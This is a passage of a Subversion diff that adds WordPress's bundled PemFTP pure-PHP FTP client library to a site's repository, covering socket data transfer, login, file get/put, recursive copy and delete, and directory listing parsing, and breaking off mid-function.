+				$this->PushError("_data_prepare","can't bind data socket", socket_strerror(socket_last_error($this->_ftp_data_sock)));
+				$this->_data_close();
+				return FALSE;
+			}
+			if(!@socket_listen($this->_ftp_data_sock)) {
+				$this->PushError("_data_prepare","can't listen data socket", socket_strerror(socket_last_error($this->_ftp_data_sock)));
+				$this->_data_close();
+				return FALSE;
+			}
+			if(!@socket_getsockname($this->_ftp_data_sock, $this->_datahost, $this->_dataport)) {
+				$this->PushError("_data_prepare","can't get data socket information", socket_strerror(socket_last_error($this->_ftp_data_sock)));
+				$this->_data_close();
+				return FALSE;
+			}
+			if(!$this->_exec('PORT '.str_replace('.',',',$this->_datahost.'.'.($this->_dataport>>8).'.'.($this->_dataport&0x00FF)), "_port")) {
+				$this->_data_close();
+				return FALSE;
+			}
+			if(!$this->_checkCode()) {
+				$this->_data_close();
+				return FALSE;
+			}
+		}
+		return TRUE;
+	}
+
+	function _data_read($mode=FTP_ASCII, $fp=NULL) {
+		$NewLine=$this->_eol_code[$this->OS_local];
+		if(is_resource($fp)) $out=0;
+		else $out="";
+		if(!$this->_passive) {
+			$this->SendMSG("Connecting to ".$this->_datahost.":".$this->_dataport);
+			$this->_ftp_temp_sock=socket_accept($this->_ftp_data_sock);
+			if($this->_ftp_temp_sock===FALSE) {
+				$this->PushError("_data_read","socket_accept", socket_strerror(socket_last_error($this->_ftp_temp_sock)));
+				$this->_data_close();
+				return FALSE;
+			}
+		}
+
+		while(($block=@socket_read($this->_ftp_temp_sock, $this->_ftp_buff_size, PHP_BINARY_READ))!==false) {
+			if($block==="") break;
+			if($mode!=FTP_BINARY) $block=preg_replace("/\r\n|\r|\n/", $this->_eol_code[$this->OS_local], $block);
+			if(is_resource($fp)) $out+=fwrite($fp, $block, strlen($block));
+			else $out.=$block;
+		}
+		return $out;
+	}
+
+	function _data_write($mode=FTP_ASCII, $fp=NULL) {
+		$NewLine=$this->_eol_code[$this->OS_local];
+		if(is_resource($fp)) $out=0;
+		else $out="";
+		if(!$this->_passive) {
+			$this->SendMSG("Connecting to ".$this->_datahost.":".$this->_dataport);
+			$this->_ftp_temp_sock=socket_accept($this->_ftp_data_sock);
+			if($this->_ftp_temp_sock===FALSE) {
+				$this->PushError("_data_write","socket_accept", socket_strerror(socket_last_error($this->_ftp_temp_sock)));
+				$this->_data_close();
+				return false;
+			}
+		}
+		if(is_resource($fp)) {
+			while(!feof($fp)) {
+				$block=fread($fp, $this->_ftp_buff_size);
+				if(!$this->_data_write_block($mode, $block)) return false;
+			}
+		} elseif(!$this->_data_write_block($mode, $fp)) return false;
+		return true;
+	}
+
+	function _data_write_block($mode, $block) {
+		if($mode!=FTP_BINARY) $block=preg_replace("/\r\n|\r|\n/", $this->_eol_code[$this->OS_remote], $block);
+		do {
+			if(($t=@socket_write($this->_ftp_temp_sock, $block))===FALSE) {
+				$this->PushError("_data_write","socket_write", socket_strerror(socket_last_error($this->_ftp_temp_sock)));
+				$this->_data_close();
+				return FALSE;
+			}
+			$block=substr($block, $t);
+		} while(!empty($block));
+		return true;
+	}
+
+	function _data_close() {
+		@socket_close($this->_ftp_temp_sock);
+		@socket_close($this->_ftp_data_sock);
+		$this->SendMSG("Disconnected data from remote host");
+		return TRUE;
+	}
+
+	function _quit() {
+		if($this->_connected) {
+			@socket_close($this->_ftp_control_sock);
+			$this->_connected=false;
+			$this->SendMSG("Socket closed");
+		}
+	}
+}
+?>
Index: /trunk/www.guidonia.net/wp/wp-admin/includes/class-ftp.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-admin/includes/class-ftp.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-admin/includes/class-ftp.php	(revision 44)
@@ -0,0 +1,903 @@
+<?php
+/**
+ * PemFTP - A Ftp implementation in pure PHP
+ *
+ * @package PemFTP
+ * @since 2.5
+ *
+ * @version 1.0
+ * @copyright Alexey Dotsenko
+ * @author Alexey Dotsenko
+ * @link http://www.phpclasses.org/browse/package/1743.html Site
+ * @license LGPL License http://www.opensource.org/licenses/lgpl-license.html
+ */
+
+/**
+ * Defines the newline characters, if not defined already.
+ *
+ * This can be redefined.
+ *
+ * @since 2.5
+ * @var string
+ */
+if(!defined('CRLF')) define('CRLF',"\r\n");
+
+/**
+ * Sets whatever to autodetect ASCII mode.
+ *
+ * This can be redefined.
+ *
+ * @since 2.5
+ * @var int
+ */
+if(!defined("FTP_AUTOASCII")) define("FTP_AUTOASCII", -1);
+
+/**
+ *
+ * This can be redefined.
+ * @since 2.5
+ * @var int
+ */
+if(!defined("FTP_BINARY")) define("FTP_BINARY", 1);
+
+/**
+ *
+ * This can be redefined.
+ * @since 2.5
+ * @var int
+ */
+if(!defined("FTP_ASCII")) define("FTP_ASCII", 0);
+
+/**
+ * Whether to force FTP.
+ *
+ * This can be redefined.
+ *
+ * @since 2.5
+ * @var bool
+ */
+if(!defined('FTP_FORCE')) define('FTP_FORCE', true);
+
+/**
+ * @since 2.5
+ * @var string
+ */
+define('FTP_OS_Unix','u');
+
+/**
+ * @since 2.5
+ * @var string
+ */
+define('FTP_OS_Windows','w');
+
+/**
+ * @since 2.5
+ * @var string
+ */
+define('FTP_OS_Mac','m');
+
+/**
+ * PemFTP base class
+ *
+ */
+class ftp_base {
+	/* Public variables */
+	var $LocalEcho;
+	var $Verbose;
+	var $OS_local;
+	var $OS_remote;
+
+	/* Private variables */
+	var $_lastaction;
+	var $_errors;
+	var $_type;
+	var $_umask;
+	var $_timeout;
+	var $_passive;
+	var $_host;
+	var $_fullhost;
+	var $_port;
+	var $_datahost;
+	var $_dataport;
+	var $_ftp_control_sock;
+	var $_ftp_data_sock;
+	var $_ftp_temp_sock;
+	var $_ftp_buff_size;
+	var $_login;
+	var $_password;
+	var $_connected;
+	var $_ready;
+	var $_code;
+	var $_message;
+	var $_can_restore;
+	var $_port_available;
+	var $_curtype;
+	var $_features;
+
+	var $_error_array;
+	var $AuthorizedTransferMode;
+	var $OS_FullName;
+	var $_eol_code;
+	var $AutoAsciiExt;
+
+	/* Constructor */
+	function ftp_base($port_mode=FALSE) {
+		$this->__construct($port_mode);
+	}
+
+	function __construct($port_mode=FALSE, $verb=FALSE, $le=FALSE) {
+		$this->LocalEcho=$le;
+		$this->Verbose=$verb;
+		$this->_lastaction=NULL;
+		$this->_error_array=array();
+		$this->_eol_code=array(FTP_OS_Unix=>"\n", FTP_OS_Mac=>"\r", FTP_OS_Windows=>"\r\n");
+		$this->AuthorizedTransferMode=array(FTP_AUTOASCII, FTP_ASCII, FTP_BINARY);
+		$this->OS_FullName=array(FTP_OS_Unix => 'UNIX', FTP_OS_Windows => 'WINDOWS', FTP_OS_Mac => 'MACOS');
+		$this->AutoAsciiExt=array("ASP","BAT","C","CPP","CSS","CSV","JS","H","HTM","HTML","SHTML","INI","LOG","PHP3","PHTML","PL","PERL","SH","SQL","TXT");
+		$this->_port_available=($port_mode==TRUE);
+		$this->SendMSG("Staring FTP client class".($this->_port_available?"":" without PORT mode support"));
+		$this->_connected=FALSE;
+		$this->_ready=FALSE;
+		$this->_can_restore=FALSE;
+		$this->_code=0;
+		$this->_message="";
+		$this->_ftp_buff_size=4096;
+		$this->_curtype=NULL;
+		$this->SetUmask(0022);
+		$this->SetType(FTP_AUTOASCII);
+		$this->SetTimeout(30);
+		$this->Passive(!$this->_port_available);
+		$this->_login="anonymous";
+		$this->_password="anon@ftp.com";
+		$this->_features=array();
+	    $this->OS_local=FTP_OS_Unix;
+		$this->OS_remote=FTP_OS_Unix;
+		$this->features=array();
+		if(strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') $this->OS_local=FTP_OS_Windows;
+		elseif(strtoupper(substr(PHP_OS, 0, 3)) === 'MAC') $this->OS_local=FTP_OS_Mac;
+	}
+
+// <!-- --------------------------------------------------------------------------------------- -->
+// <!--       Public functions                                                                  -->
+// <!-- --------------------------------------------------------------------------------------- -->
+
+	function parselisting($line) {
+		$is_windows = ($this->OS_remote == FTP_OS_Windows);
+		if ($is_windows && preg_match("/([0-9]{2})-([0-9]{2})-([0-9]{2}) +([0-9]{2}):([0-9]{2})(AM|PM) +([0-9]+|<DIR>) +(.+)/",$line,$lucifer)) {
+			$b = array();
+			if ($lucifer[3]<70) { $lucifer[3]+=2000; } else { $lucifer[3]+=1900; } // 4digit year fix
+			$b['isdir'] = ($lucifer[7]=="<DIR>");
+			if ( $b['isdir'] )
+				$b['type'] = 'd';
+			else
+				$b['type'] = 'f';
+			$b['size'] = $lucifer[7];
+			$b['month'] = $lucifer[1];
+			$b['day'] = $lucifer[2];
+			$b['year'] = $lucifer[3];
+			$b['hour'] = $lucifer[4];
+			$b['minute'] = $lucifer[5];
+			$b['time'] = @mktime($lucifer[4]+(strcasecmp($lucifer[6],"PM")==0?12:0),$lucifer[5],0,$lucifer[1],$lucifer[2],$lucifer[3]);
+			$b['am/pm'] = $lucifer[6];
+			$b['name'] = $lucifer[8];
+		} else if (!$is_windows && $lucifer=preg_split("/[ ]/",$line,9,PREG_SPLIT_NO_EMPTY)) {
+			//echo $line."\n";
+			$lcount=count($lucifer);
+			if ($lcount<8) return '';
+			$b = array();
+			$b['isdir'] = $lucifer[0]{0} === "d";
+			$b['islink'] = $lucifer[0]{0} === "l";
+			if ( $b['isdir'] )
+				$b['type'] = 'd';
+			elseif ( $b['islink'] )
+				$b['type'] = 'l';
+			else
+				$b['type'] = 'f';
+			$b['perms'] = $lucifer[0];
+			$b['number'] = $lucifer[1];
+			$b['owner'] = $lucifer[2];
+			$b['group'] = $lucifer[3];
+			$b['size'] = $lucifer[4];
+			if ($lcount==8) {
+				sscanf($lucifer[5],"%d-%d-%d",$b['year'],$b['month'],$b['day']);
+				sscanf($lucifer[6],"%d:%d",$b['hour'],$b['minute']);
+				$b['time'] = @mktime($b['hour'],$b['minute'],0,$b['month'],$b['day'],$b['year']);
+				$b['name'] = $lucifer[7];
+			} else {
+				$b['month'] = $lucifer[5];
+				$b['day'] = $lucifer[6];
+				if (preg_match("/([0-9]{2}):([0-9]{2})/",$lucifer[7],$l2)) {
+					$b['year'] = date("Y");
+					$b['hour'] = $l2[1];
+					$b['minute'] = $l2[2];
+				} else {
+					$b['year'] = $lucifer[7];
+					$b['hour'] = 0;
+					$b['minute'] = 0;
+				}
+				$b['time'] = strtotime(sprintf("%d %s %d %02d:%02d",$b['day'],$b['month'],$b['year'],$b['hour'],$b['minute']));
+				$b['name'] = $lucifer[8];
+			}
+		}
+
+		return $b;
+	}
+
+	function SendMSG($message = "", $crlf=true) {
+		if ($this->Verbose) {
+			echo $message.($crlf?CRLF:"");
+			flush();
+		}
+		return TRUE;
+	}
+
+	function SetType($mode=FTP_AUTOASCII) {
+		if(!in_array($mode, $this->AuthorizedTransferMode)) {
+			$this->SendMSG("Wrong type");
+			return FALSE;
+		}
+		$this->_type=$mode;
+		$this->SendMSG("Transfer type: ".($this->_type==FTP_BINARY?"binary":($this->_type==FTP_ASCII?"ASCII":"auto ASCII") ) );
+		return TRUE;
+	}
+
+	function _settype($mode=FTP_ASCII) {
+		if($this->_ready) {
+			if($mode==FTP_BINARY) {
+				if($this->_curtype!=FTP_BINARY) {
+					if(!$this->_exec("TYPE I", "SetType")) return FALSE;
+					$this->_curtype=FTP_BINARY;
+				}
+			} elseif($this->_curtype!=FTP_ASCII) {
+				if(!$this->_exec("TYPE A", "SetType")) return FALSE;
+				$this->_curtype=FTP_ASCII;
+			}
+		} else return FALSE;
+		return TRUE;
+	}
+
+	function Passive($pasv=NULL) {
+		if(is_null($pasv)) $this->_passive=!$this->_passive;
+		else $this->_passive=$pasv;
+		if(!$this->_port_available and !$this->_passive) {
+			$this->SendMSG("Only passive connections available!");
+			$this->_passive=TRUE;
+			return FALSE;
+		}
+		$this->SendMSG("Passive mode ".($this->_passive?"on":"off"));
+		return TRUE;
+	}
+
+	function SetServer($host, $port=21, $reconnect=true) {
+		if(!is_long($port)) {
+	        $this->verbose=true;
+    	    $this->SendMSG("Incorrect port syntax");
+			return FALSE;
+		} else {
+			$ip=@gethostbyname($host);
+	        $dns=@gethostbyaddr($host);
+	        if(!$ip) $ip=$host;
+	        if(!$dns) $dns=$host;
+			if(ip2long($ip) === -1) {
+				$this->SendMSG("Wrong host name/address \"".$host."\"");
+				return FALSE;
+			}
+	        $this->_host=$ip;
+	        $this->_fullhost=$dns;
+	        $this->_port=$port;
+	        $this->_dataport=$port-1;
+		}
+		$this->SendMSG("Host \"".$this->_fullhost."(".$this->_host."):".$this->_port."\"");
+		if($reconnect){
+			if($this->_connected) {
+				$this->SendMSG("Reconnecting");
+				if(!$this->quit(FTP_FORCE)) return FALSE;
+				if(!$this->connect()) return FALSE;
+			}
+		}
+		return TRUE;
+	}
+
+	function SetUmask($umask=0022) {
+		$this->_umask=$umask;
+		umask($this->_umask);
+		$this->SendMSG("UMASK 0".decoct($this->_umask));
+		return TRUE;
+	}
+
+	function SetTimeout($timeout=30) {
+		$this->_timeout=$timeout;
+		$this->SendMSG("Timeout ".$this->_timeout);
+		if($this->_connected)
+			if(!$this->_settimeout($this->_ftp_control_sock)) return FALSE;
+		return TRUE;
+	}
+
+	function connect($server=NULL) {
+		if(!empty($server)) {
+			if(!$this->SetServer($server)) return false;
+		}
+		if($this->_ready) return true;
+	    $this->SendMsg('Local OS : '.$this->OS_FullName[$this->OS_local]);
+		if(!($this->_ftp_control_sock = $this->_connect($this->_host, $this->_port))) {
+			$this->SendMSG("Error : Cannot connect to remote host \"".$this->_fullhost." :".$this->_port."\"");
+			return FALSE;
+		}
+		$this->SendMSG("Connected to remote host \"".$this->_fullhost.":".$this->_port."\". Waiting for greeting.");
+		do {
+			if(!$this->_readmsg()) return FALSE;
+			if(!$this->_checkCode()) return FALSE;
+			$this->_lastaction=time();
+		} while($this->_code<200);
+		$this->_ready=true;
+		$syst=$this->systype();
+		if(!$syst) $this->SendMSG("Can't detect remote OS");
+		else {
+			if(preg_match("/win|dos|novell/i", $syst[0])) $this->OS_remote=FTP_OS_Windows;
+			elseif(preg_match("/os/i", $syst[0])) $this->OS_remote=FTP_OS_Mac;
+			elseif(preg_match("/(li|u)nix/i", $syst[0])) $this->OS_remote=FTP_OS_Unix;
+			else $this->OS_remote=FTP_OS_Mac;
+			$this->SendMSG("Remote OS: ".$this->OS_FullName[$this->OS_remote]);
+		}
+		if(!$this->features()) $this->SendMSG("Can't get features list. All supported - disabled");
+		else $this->SendMSG("Supported features: ".implode(", ", array_keys($this->_features)));
+		return TRUE;
+	}
+
+	function quit($force=false) {
+		if($this->_ready) {
+			if(!$this->_exec("QUIT") and !$force) return FALSE;
+			if(!$this->_checkCode() and !$force) return FALSE;
+			$this->_ready=false;
+			$this->SendMSG("Session finished");
+		}
+		$this->_quit();
+		return TRUE;
+	}
+
+	function login($user=NULL, $pass=NULL) {
+		if(!is_null($user)) $this->_login=$user;
+		else $this->_login="anonymous";
+		if(!is_null($pass)) $this->_password=$pass;
+		else $this->_password="anon@anon.com";
+		if(!$this->_exec("USER ".$this->_login, "login")) return FALSE;
+		if(!$this->_checkCode()) return FALSE;
+		if($this->_code!=230) {
+			if(!$this->_exec((($this->_code==331)?"PASS ":"ACCT ").$this->_password, "login")) return FALSE;
+			if(!$this->_checkCode()) return FALSE;
+		}
+		$this->SendMSG("Authentication succeeded");
+		if(empty($this->_features)) {
+			if(!$this->features()) $this->SendMSG("Can't get features list. All supported - disabled");
+			else $this->SendMSG("Supported features: ".implode(", ", array_keys($this->_features)));
+		}
+		return TRUE;
+	}
+
+	function pwd() {
+		if(!$this->_exec("PWD", "pwd")) return FALSE;
+		if(!$this->_checkCode()) return FALSE;
+		return ereg_replace("^[0-9]{3} \"(.+)\".+", "\\1", $this->_message);
+	}
+
+	function cdup() {
+		if(!$this->_exec("CDUP", "cdup")) return FALSE;
+		if(!$this->_checkCode()) return FALSE;
+		return true;
+	}
+
+	function chdir($pathname) {
+		if(!$this->_exec("CWD ".$pathname, "chdir")) return FALSE;
+		if(!$this->_checkCode()) return FALSE;
+		return TRUE;
+	}
+
+	function rmdir($pathname) {
+		if(!$this->_exec("RMD ".$pathname, "rmdir")) return FALSE;
+		if(!$this->_checkCode()) return FALSE;
+		return TRUE;
+	}
+
+	function mkdir($pathname) {
+		if(!$this->_exec("MKD ".$pathname, "mkdir")) return FALSE;
+		if(!$this->_checkCode()) return FALSE;
+		return TRUE;
+	}
+
+	function rename($from, $to) {
+		if(!$this->_exec("RNFR ".$from, "rename")) return FALSE;
+		if(!$this->_checkCode()) return FALSE;
+		if($this->_code==350) {
+			if(!$this->_exec("RNTO ".$to, "rename")) return FALSE;
+			if(!$this->_checkCode()) return FALSE;
+		} else return FALSE;
+		return TRUE;
+	}
+
+	function filesize($pathname) {
+		if(!isset($this->_features["SIZE"])) {
+			$this->PushError("filesize", "not supported by server");
+			return FALSE;
+		}
+		if(!$this->_exec("SIZE ".$pathname, "filesize")) return FALSE;
+		if(!$this->_checkCode()) return FALSE;
+		return ereg_replace("^[0-9]{3} ([0-9]+)".CRLF, "\\1", $this->_message);
+	}
+
+	function abort() {
+		if(!$this->_exec("ABOR", "abort")) return FALSE;
+		if(!$this->_checkCode()) {
+			if($this->_code!=426) return FALSE;
+			if(!$this->_readmsg("abort")) return FALSE;
+			if(!$this->_checkCode()) return FALSE;
+		}
+		return true;
+	}
+
+	function mdtm($pathname) {
+		if(!isset($this->_features["MDTM"])) {
+			$this->PushError("mdtm", "not supported by server");
+			return FALSE;
+		}
+		if(!$this->_exec("MDTM ".$pathname, "mdtm")) return FALSE;
+		if(!$this->_checkCode()) return FALSE;
+		$mdtm = ereg_replace("^[0-9]{3} ([0-9]+)".CRLF, "\\1", $this->_message);
+		$date = sscanf($mdtm, "%4d%2d%2d%2d%2d%2d");
+		$timestamp = mktime($date[3], $date[4], $date[5], $date[1], $date[2], $date[0]);
+		return $timestamp;
+	}
+
+	function systype() {
+		if(!$this->_exec("SYST", "systype")) return FALSE;
+		if(!$this->_checkCode()) return FALSE;
+		$DATA = explode(" ", $this->_message);
+		return array($DATA[1], $DATA[3]);
+	}
+
+	function delete($pathname) {
+		if(!$this->_exec("DELE ".$pathname, "delete")) return FALSE;
+		if(!$this->_checkCode()) return FALSE;
+		return TRUE;
+	}
+
+	function site($command, $fnction="site") {
+		if(!$this->_exec("SITE ".$command, $fnction)) return FALSE;
+		if(!$this->_checkCode()) return FALSE;
+		return TRUE;
+	}
+
+	function chmod($pathname, $mode) {
+		if(!$this->site( sprintf('CHMOD %o %s', $mode, $pathname), "chmod")) return FALSE;
+		return TRUE;
+	}
+
+	function restore($from) {
+		if(!isset($this->_features["REST"])) {
+			$this->PushError("restore", "not supported by server");
+			return FALSE;
+		}
+		if($this->_curtype!=FTP_BINARY) {
+			$this->PushError("restore", "can't restore in ASCII mode");
+			return FALSE;
+		}
+		if(!$this->_exec("REST ".$from, "resore")) return FALSE;
+		if(!$this->_checkCode()) return FALSE;
+		return TRUE;
+	}
+
+	function features() {
+		if(!$this->_exec("FEAT", "features")) return FALSE;
+		if(!$this->_checkCode()) return FALSE;
+		$f=preg_split("/[".CRLF."]+/", preg_replace("/[0-9]{3}[ -].*[".CRLF."]+/", "", $this->_message), -1, PREG_SPLIT_NO_EMPTY);
+		$this->_features=array();
+		foreach($f as $k=>$v) {
+			$v=explode(" ", trim($v));
+			$this->_features[array_shift($v)]=$v;;
+		}
+		return true;
+	}
+
+	function rawlist($pathname="", $arg="") {
+		return $this->_list(($arg?" ".$arg:"").($pathname?" ".$pathname:""), "LIST", "rawlist");
+	}
+
+	function nlist($pathname="") {
+		return $this->_list(($arg?" ".$arg:"").($pathname?" ".$pathname:""), "NLST", "nlist");
+	}
+
+	function is_exists($pathname) {
+		return $this->file_exists($pathname);
+	}
+
+	function file_exists($pathname) {
+		$exists=true;
+		if(!$this->_exec("RNFR ".$pathname, "rename")) $exists=FALSE;
+		else {
+			if(!$this->_checkCode()) $exists=FALSE;
+			$this->abort();
+		}
+		if($exists) $this->SendMSG("Remote file ".$pathname." exists");
+		else $this->SendMSG("Remote file ".$pathname." does not exist");
+		return $exists;
+	}
+
+	function fget($fp, $remotefile,$rest=0) {
+		if($this->_can_restore and $rest!=0) fseek($fp, $rest);
+		$pi=pathinfo($remotefile);
+		if($this->_type==FTP_ASCII or ($this->_type==FTP_AUTOASCII and in_array(strtoupper($pi["extension"]), $this->AutoAsciiExt))) $mode=FTP_ASCII;
+		else $mode=FTP_BINARY;
+		if(!$this->_data_prepare($mode)) {
+			return FALSE;
+		}
+		if($this->_can_restore and $rest!=0) $this->restore($rest);
+		if(!$this->_exec("RETR ".$remotefile, "get")) {
+			$this->_data_close();
+			return FALSE;
+		}
+		if(!$this->_checkCode()) {
+			$this->_data_close();
+			return FALSE;
+		}
+		$out=$this->_data_read($mode, $fp);
+		$this->_data_close();
+		if(!$this->_readmsg()) return FALSE;
+		if(!$this->_checkCode()) return FALSE;
+		return $out;
+	}
+
+	function get($remotefile, $localfile=NULL, $rest=0) {
+		if(is_null($localfile)) $localfile=$remotefile;
+		if (@file_exists($localfile)) $this->SendMSG("Warning : local file will be overwritten");
+		$fp = @fopen($localfile, "w");
+		if (!$fp) {
+			$this->PushError("get","can't open local file", "Cannot create \"".$localfile."\"");
+			return FALSE;
+		}
+		if($this->_can_restore and $rest!=0) fseek($fp, $rest);
+		$pi=pathinfo($remotefile);
+		if($this->_type==FTP_ASCII or ($this->_type==FTP_AUTOASCII and in_array(strtoupper($pi["extension"]), $this->AutoAsciiExt))) $mode=FTP_ASCII;
+		else $mode=FTP_BINARY;
+		if(!$this->_data_prepare($mode)) {
+			fclose($fp);
+			return FALSE;
+		}
+		if($this->_can_restore and $rest!=0) $this->restore($rest);
+		if(!$this->_exec("RETR ".$remotefile, "get")) {
+			$this->_data_close();
+			fclose($fp);
+			return FALSE;
+		}
+		if(!$this->_checkCode()) {
+			$this->_data_close();
+			fclose($fp);
+			return FALSE;
+		}
+		$out=$this->_data_read($mode, $fp);
+		fclose($fp);
+		$this->_data_close();
+		if(!$this->_readmsg()) return FALSE;
+		if(!$this->_checkCode()) return FALSE;
+		return $out;
+	}
+
+	function fput($remotefile, $fp) {
+		if($this->_can_restore and $rest!=0) fseek($fp, $rest);
+		$pi=pathinfo($remotefile);
+		if($this->_type==FTP_ASCII or ($this->_type==FTP_AUTOASCII and in_array(strtoupper($pi["extension"]), $this->AutoAsciiExt))) $mode=FTP_ASCII;
+		else $mode=FTP_BINARY;
+		if(!$this->_data_prepare($mode)) {
+			return FALSE;
+		}
+		if($this->_can_restore and $rest!=0) $this->restore($rest);
+		if(!$this->_exec("STOR ".$remotefile, "put")) {
+			$this->_data_close();
+			return FALSE;
+		}
+		if(!$this->_checkCode()) {
+			$this->_data_close();
+			return FALSE;
+		}
+		$ret=$this->_data_write($mode, $fp);
+		$this->_data_close();
+		if(!$this->_readmsg()) return FALSE;
+		if(!$this->_checkCode()) return FALSE;
+		return $ret;
+	}
+
+	function put($localfile, $remotefile=NULL, $rest=0) {
+		if(is_null($remotefile)) $remotefile=$localfile;
+		if (!file_exists($localfile)) {
+			$this->PushError("put","can't open local file", "No such file or directory \"".$localfile."\"");
+			return FALSE;
+		}
+		$fp = @fopen($localfile, "r");
+
+		if (!$fp) {
+			$this->PushError("put","can't open local file", "Cannot read file \"".$localfile."\"");
+			return FALSE;
+		}
+		if($this->_can_restore and $rest!=0) fseek($fp, $rest);
+		$pi=pathinfo($localfile);
+		if($this->_type==FTP_ASCII or ($this->_type==FTP_AUTOASCII and in_array(strtoupper($pi["extension"]), $this->AutoAsciiExt))) $mode=FTP_ASCII;
+		else $mode=FTP_BINARY;
+		if(!$this->_data_prepare($mode)) {
+			fclose($fp);
+			return FALSE;
+		}
+		if($this->_can_restore and $rest!=0) $this->restore($rest);
+		if(!$this->_exec("STOR ".$remotefile, "put")) {
+			$this->_data_close();
+			fclose($fp);
+			return FALSE;
+		}
+		if(!$this->_checkCode()) {
+			$this->_data_close();
+			fclose($fp);
+			return FALSE;
+		}
+		$ret=$this->_data_write($mode, $fp);
+		fclose($fp);
+		$this->_data_close();
+		if(!$this->_readmsg()) return FALSE;
+		if(!$this->_checkCode()) return FALSE;
+		return $ret;
+	}
+
+	function mput($local=".", $remote=NULL, $continious=false) {
+		$local=realpath($local);
+		if(!@file_exists($local)) {
+			$this->PushError("mput","can't open local folder", "Cannot stat folder \"".$local."\"");
+			return FALSE;
+		}
+		if(!is_dir($local)) return $this->put($local, $remote);
+		if(empty($remote)) $remote=".";
+		elseif(!$this->file_exists($remote) and !$this->mkdir($remote)) return FALSE;
+		if($handle = opendir($local)) {
+			$list=array();
+			while (false !== ($file = readdir($handle))) {
+				if ($file != "." && $file != "..") $list[]=$file;
+			}
+			closedir($handle);
+		} else {
+			$this->PushError("mput","can't open local folder", "Cannot read folder \"".$local."\"");
+			return FALSE;
+		}
+		if(empty($list)) return TRUE;
+		$ret=true;
+		foreach($list as $el) {
+			if(is_dir($local."/".$el)) $t=$this->mput($local."/".$el, $remote."/".$el);
+			else $t=$this->put($local."/".$el, $remote."/".$el);
+			if(!$t) {
+				$ret=FALSE;
+				if(!$continious) break;
+			}
+		}
+		return $ret;
+
+	}
+
+	function mget($remote, $local=".", $continious=false) {
+		$list=$this->rawlist($remote, "-lA");
+		if($list===false) {
+			$this->PushError("mget","can't read remote folder list", "Can't read remote folder \"".$remote."\" contents");
+			return FALSE;
+		}
+		if(empty($list)) return true;
+		if(!@file_exists($local)) {
+			if(!@mkdir($local)) {
+				$this->PushError("mget","can't create local folder", "Cannot create folder \"".$local."\"");
+				return FALSE;
+			}
+		}
+		foreach($list as $k=>$v) {
+			$list[$k]=$this->parselisting($v);
+			if($list[$k]["name"]=="." or $list[$k]["name"]=="..") unset($list[$k]);
+		}
+		$ret=true;
+		foreach($list as $el) {
+			if($el["type"]=="d") {
+				if(!$this->mget($remote."/".$el["name"], $local."/".$el["name"], $continious)) {
+					$this->PushError("mget", "can't copy folder", "Can't copy remote folder \"".$remote."/".$el["name"]."\" to local \"".$local."/".$el["name"]."\"");
+					$ret=false;
+					if(!$continious) break;
+				}
+			} else {
+				if(!$this->get($remote."/".$el["name"], $local."/".$el["name"])) {
+					$this->PushError("mget", "can't copy file", "Can't copy remote file \"".$remote."/".$el["name"]."\" to local \"".$local."/".$el["name"]."\"");
+					$ret=false;
+					if(!$continious) break;
+				}
+			}
+			@chmod($local."/".$el["name"], $el["perms"]);
+			$t=strtotime($el["date"]);
+			if($t!==-1 and $t!==false) @touch($local."/".$el["name"], $t);
+		}
+		return $ret;
+	}
+
+	function mdel($remote, $continious=false) {
+		$list=$this->rawlist($remote, "-la");
+		if($list===false) {
+			$this->PushError("mdel","can't read remote folder list", "Can't read remote folder \"".$remote."\" contents");
+			return false;
+		}
+
+		foreach($list as $k=>$v) {
+			$list[$k]=$this->parselisting($v);
+			if($list[$k]["name"]=="." or $list[$k]["name"]=="..") unset($list[$k]);
+		}
+		$ret=true;
+
+		foreach($list as $el) {
+			if ( empty($el) )
+				continue;
+
+			if($el["type"]=="d") {
+				if(!$this->mdel($remote."/".$el["name"], $continious)) {
+					$ret=false;
+					if(!$continious) break;
+				}
+			} else {
+				if (!$this->delete($remote."/".$el["name"])) {
+					$this->PushError("mdel", "can't delete file", "Can't delete remote file \"".$remote."/".$el["name"]."\"");
+					$ret=false;
+					if(!$continious) break;
+				}
+			}
+		}
+
+		if(!$this->rmdir($remote)) {
+			$this->PushError("mdel", "can't delete folder", "Can't delete remote folder \"".$remote."/".$el["name"]."\"");
+			$ret=false;
+		}
+		return $ret;
+	}
+
+	function mmkdir($dir, $mode = 0777) {
+		if(empty($dir)) return FALSE;
+		if($this->is_exists($dir) or $dir == "/" ) return TRUE;
+		if(!$this->mmkdir(dirname($dir), $mode)) return false;
+		$r=$this->mkdir($dir, $mode);
+		$this->chmod($dir,$mode);
+		return $r;
+	}
+
+	function glob($pattern, $handle=NULL) {
+		$path=$output=null;
+		if(PHP_OS=='WIN32') $slash='\\';
+		else $slash='/';
+		$lastpos=strrpos($pattern,$slash);
+		if(!($lastpos===false)) {
+			$path=substr($pattern,0,-$lastpos-1);
+			$pattern=substr($pattern,$lastpos);
+		} else $path=getcwd();
+		if(is_array($handle) and !empty($handle)) {
+			while($dir=each($handle)) {
+				if($this->glob_pattern_match($pattern,$dir))
+				$output[]=$dir;
+			}
+		} else {
+			$handle=@opendir($path);
+			if($handle===false) return false;
+			while($dir=readdir($handle)) {
+				if($this->glob_pattern_match($pattern,$dir))
+				$output[]=$dir;
+			}
+			closedir($handle);
+		}
+		if(is_array($output)) return $output;
+		return false;
+	}
+
+	function glob_pattern_match($pattern,$string) {
+		$out=null;
+		$chunks=explode(';',$pattern);
+		foreach($chunks as $pattern) {
+			$escape=array('$','^','.','{','}','(',')','[',']','|');
+			while(strpos($pattern,'**')!==false)
+				$pattern=str_replace('**','*',$pattern);
+			foreach($escape as $probe)
+				$pattern=str_replace($probe,"\\$probe",$pattern);
+			$pattern=str_replace('?*','*',
+				str_replace('*?','*',
+					str_replace('*',".*",
+						str_replace('?','.{1,1}',$pattern))));
+			$out[]=$pattern;
+		}
+		if(count($out)==1) return($this->glob_regexp("^$out[0]$",$string));
+		else {
+			foreach($out as $tester)
+				if($this->my_regexp("^$tester$",$string)) return true;
+		}
+		return false;
+	}
+
+	function glob_regexp($pattern,$probe) {
+		$sensitive=(PHP_OS!='WIN32');
+		return ($sensitive?
+			ereg($pattern,$probe):
+			eregi($pattern,$probe)
+		);
+	}
+
+	function dirlist($remote) {
+		$list=$this->rawlist($remote, "-la");
+		if($list===false) {
+			$this->PushError("dirlist","can't read remote folder list", "Can't read remote folder \"".$remote."\" contents");
+			return false;
+		}
+
+		$dirlist = array();
